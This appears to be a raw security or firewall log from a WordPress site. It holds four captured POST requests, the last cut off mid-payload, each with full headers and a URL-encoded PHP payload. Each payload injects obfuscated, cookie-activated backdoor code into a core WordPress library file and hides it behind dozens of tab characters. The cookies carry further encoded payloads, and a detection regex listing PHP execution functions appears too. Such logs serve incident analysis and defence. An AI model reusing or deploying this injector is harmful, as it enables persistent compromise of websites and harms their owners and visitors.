["2026-05-12 10:50:22","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nZG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:25","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpUNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\npp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:27","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> un:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3242\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nun=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:29","144.76.215.54","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:3242\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nxE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B